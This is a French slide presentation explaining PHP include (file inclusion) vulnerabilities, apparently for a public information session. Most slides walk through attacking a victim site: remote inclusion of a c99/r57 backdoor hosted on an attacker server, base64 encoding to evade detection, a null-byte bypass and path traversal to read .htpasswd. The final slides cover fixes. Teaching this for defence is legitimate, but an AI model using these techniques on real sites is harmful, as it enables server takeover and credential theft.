Présentation_Soirée-Information_ Surverse_Thibert _30 avril 2024
présentation Faille include
1.
2. la faille PHP la plus connue dans le monde
des sites web, du à une erreur de
programmation commise par un développeur
peu soucieux en matière de sécurité
L'include sert principalement à inclure une
page dans une autre ou encore plus
fréquament à inclure des variables
provenants d'un fichier de configuration.
3. Exemple
Si toutes vos pages requièrent la page mysql.php dans
laquelle sont contenues les informations de connexion
a la base de données, il convient de l’inclure dans
chacune de vos pages plutôt que de retaper
l’équivalent de mysql.php dans toutes celle-ci.
La fonction include vous permettre de n’avoir qu’une
seule page mysql.php, et toutes les pages de votre
site l’incluront (le même cas pour le menu, header et
le footer)
4. 1) Inclusion d'un autre page.
<?
include($page);
?>
Dans un code html:
<html>
<head>
<title>Page1</title>
<meta http-equiv="Content-Type" content="text/html;
charset=iso-8859-1">
</head>
<body>
<? include("maj.php"); ?> // La page que nous incluons
dans page1.php
</body>
</html>
5. 2) Inclusion de variables
<?
//---------------------------------------------------
//------------- Page config.php ---------------
//---------------------------------------------------
$login = "admin";
$pass = "pass";
//-------------------- END -----------------------
?>
<?
//---------------------------------------------------
//------------- Page protec.php ---------------
//---------------------------------------------------
include("config.php"); // La page config.php ou sont stokés les variables
if($good1==$login & $good2==$pass)
{
include ("identification_ok.php"); // si le login et le pass est identique au config.php
}
else
{
echo "<center>Mauvais login/pass</center><br>";
include ("admin.php");
}
//-------------------- END -----------------------
6.
http://www.sitevictime.com/index.php?page=menu.php
Icil a page menu.php est inclue.La variable ce nomme "page".
Que ce passe-t-il si nous modifions la valeur de la variable "page" qui
vaut "menu.php" ?
Testons ensemble .
http://www.sitevictime.com/index.php?page=http://www.google.fr
Chose dite chose faite !
Nous avons inclue notre page "google"
Donc nous avons modifié la valeur de la variable.
A ce moment là, plusieurs choix s'offrent à vous.
- Soit vous êtes redirigé vers l'index du site ou, vous avez une page
d'**orthographe !**.Oui on arrive sur une erreur 404, c'est que la faille
semble être protégée.
7. - Soit vous voyez Google qui s'affiche à la place
de la page qui devrait être inclue.
Ce que signifie faille Include est présente.
Donc nous pouvons modifier la variable "page".
Pourquoi ne pas alors inclure notre propre
page qui contient un code malicieux, comme
nous avons fait avec Google !
on pourrait très bien inclure un script
malveillant, un shell et avoir acces au serveur
puis faire ce que l'on veut.
On pourrait aussi inclure un
fichier .htaccess et/ou .htpasswd (qui contient,
en principe, les mots de passes).
8. Imaginez que cette page en question soit
une backdoor comme c99.php ! nous
pourrons alors lister tous les fchiers, les
éditer, en créer, accéder à la base de
données,
9. Pour détecter une faille include sur un site web, Il
suffit de tester tous les paramètres possibles de l’URL
et d’observer le résultat. Le but est de faire planter le
site web en essayant d’inclure une page qui n’existe
pas.
Si une une URL est vulnérable alors nous devons avoir
un warning PHP de ce type :
Warning: main([PARAMETRE_INCORRECT]): failed to
open stream: No such file or directory in
[URL_DE_LA_PAGE].php on line [NUMERO_DE_LIGNE]
Warning: main(): Failed opening
‘[PARAMETRE_INCORRECT]‘ for
inclusion (include_path=’.:/usr/share/php:/usr/share
/pear’) in [URL_DE_LA_PAGE].php on line
[NUMERO_DE_LIGNE]
10. 1. La faille include a distance
Tout d’abord nous devons avoir une backdoor près a être
employer, pour cela tapez dans google une backdoor précise
comme r57, c99, c100 myshell, etc. Il préférable de l’encoder
en base64 encoding pour ne pas être détecter.
Nous supposons que nous avons trouvé la faille sur un site, et
qu’elle permette l’inclusion de n’importe quelle page.
Maintenant, il ne nous reste plus qu’à placer notre backdoor sur
notre serveur FTP ou un serveur gratuit n’exécutant pas le PHP.
Quelque soit la solution choisie, nous pouvons donc appeler la
page vulnérable de cette manière :
index.php?page=http://notre-serveur.com/backdoor.php
(si elle est sur un serveur FTP, remplacez évidemment http ://
par ftp :// et indiquez le login/pass de manière habituelle).
Et nous verrons notre backdoor s’afficher comme suit:
11.
12. Parfois on tombe sur une page vulnérable mais avec
un code différent de celui que nous avons vu dans le
paragraphe précédent, par exemple :
1<?php
2if(isset($_GET['page']))
3include($_GET['page'] . ".php");
4else
5include('default.php');
6?>
Ici l’extension « .php » est automatiquement rajoutée
à la variable. Cela force notre fichier backdoor.php a
devenir backdoor.php.php et ça ne va pas s’exécuter
sur le serveur vulnérable.
13. Alors que faire ?
Il existe une solution très simple pour bypasser ce
filtre, c’est la technique null byte. Il consiste à placer
un zéro ASCII a la fin de notre URL. Il faudra donc
inclure :
index.php?page=http://notre-
serveur.com/backdoor.txt%00
Une petite explication
La fonction include() va être traitée par une fonction
programmée en langage C. Et en C, on désigne la fin
d’une chaîne de caractères par un octet null (x00 en
notation classique). c’est pour ça notre chaîne de
caractère(backdoor.php%00.php) sera tronqué en
trouvant le caractère %00 !
14. Nous n’avons Jusqu’ici cherché qu’à inclure une backdoor a
distance. Mais sachez qu’il est tout à fait possible, avec cette
faille, d’exécuter un fichier se trouvant sur le serveur vulnérable !
Et d’ailleurs, c’est quelque fois la seule possibilité, car certaines
protections désactivent la possibilité d’inclure du code situé sur
un autre serveur.
Nous pouvons donc afficher tous les pages a l’intérieur de
l’index, de cette
manière: http://www.cible.com/index.php?page=/test/test.php
Et comme ça, nous allons pouvoir naviguer dans tout les
répertoires du site, voir même du serveur s’il n’est pas chmoder
En pratique, c’est assez simple, en faite nous allons essayer de
deviner dans quel répertoire ils se trouvent un fichier intéressant
comme htpasswd, en testant successivement des paramètres
comme « ../.htpasswd » ou « ../../.htpasswd » ou encore
« ../dossier/.htpasswd ».
-
15. Et pour inclure ce fichier, vous faites comme
ceci:
http://www.sitevictime.com/index.php?pag
e=http://www.votresite/code_malicieux.ph
p
Et voilà votre page "code_malicieux.php" a
bien été inclue.
16. La sécurisation de scripts PHP est une étape importante à
prendre en compte lors de toute conception de site ou de
script, simple ou complexe.
PHP permet déjà si on le configure correctement d'éliminer
pas mal de problèmes de sécurité pour dissimuler des URL
et des fichiers.
Les register_globals :
PHP est enfin configuré avec le
paramètre register_globals à off par défaut. Vous pouvez
désactiver les register_globals via le fichier php.ini,
recherchez la ligne register_globals et attribuez-lui la
valeur Off. Vous pouvez également passer par un
fichier .htaccess, vous devrez dans ce cas rajouter la ligne
suivante : php_flag register_globals off. Ceci désactivera
les register_globals, qui sont une vraie plaie pour la
sécurité d'un script.
17. La meilleure façon pour corriger une include
est de : Faire un test pour chaque pages de
votre site, certes c’est long mais il n’y a pas
mieux à vous de voir après.
En php4, mettre la commande allow_url_fopen à off. Cette
dernier permet la lecture de fichiers situés sur un autre serveur;
En php5, mettre la commande allow_url_include à off. C’est un
apport par rapport à php4, qui distingue les fichiers lus des
fichiers inclus.
18. Sécuriser la faille
On peut forcer d'inclure un page dans un dossier comme ça si le pirate veur
inclure un site externe cela donnera :
include("mon_dossier/http://google.com");
Ce qui échouera pour le pirate.
Le mieux pour sécuriser cette faille est d'utiliser la fonction basename qui permet
de garder uniquement la base d'un chemin. Exemple
:http://exemle.com/script.php retourne juste script.php.
Voici un exemple ou j'ai rajouter un "file_exists" pour être sur d'inclure la page
seulement si elle existe sinon on lui affiche l'index.
$page = basename($_GET['page']); //$page : la page capturée de
l'url (pour simplifier) et on prend le nom de base
if (file_exists("mon_dossier/$page.html")){ //Si la page existe, on l'inclus
include("mon_dossier/$page.html"); //On force le .html
} else {
include('mon_dossier/index.html'); //Si elle n'existe pas, on inclus
l'index
}
19. Attention maintenant à la faille dans votre site, c'est à dire qu'un
visiteur inclue une page de votre site pour laquelle il n'a pas les
droits d'accès en remontant d'un répertoire par exemple... Vous
pouvez utiliser pour contrer cela les Expressions régulières en
enlevant les caractères spéciaux : le slash, le point et l'antislash...
qui pourraient prendre place dans l'url.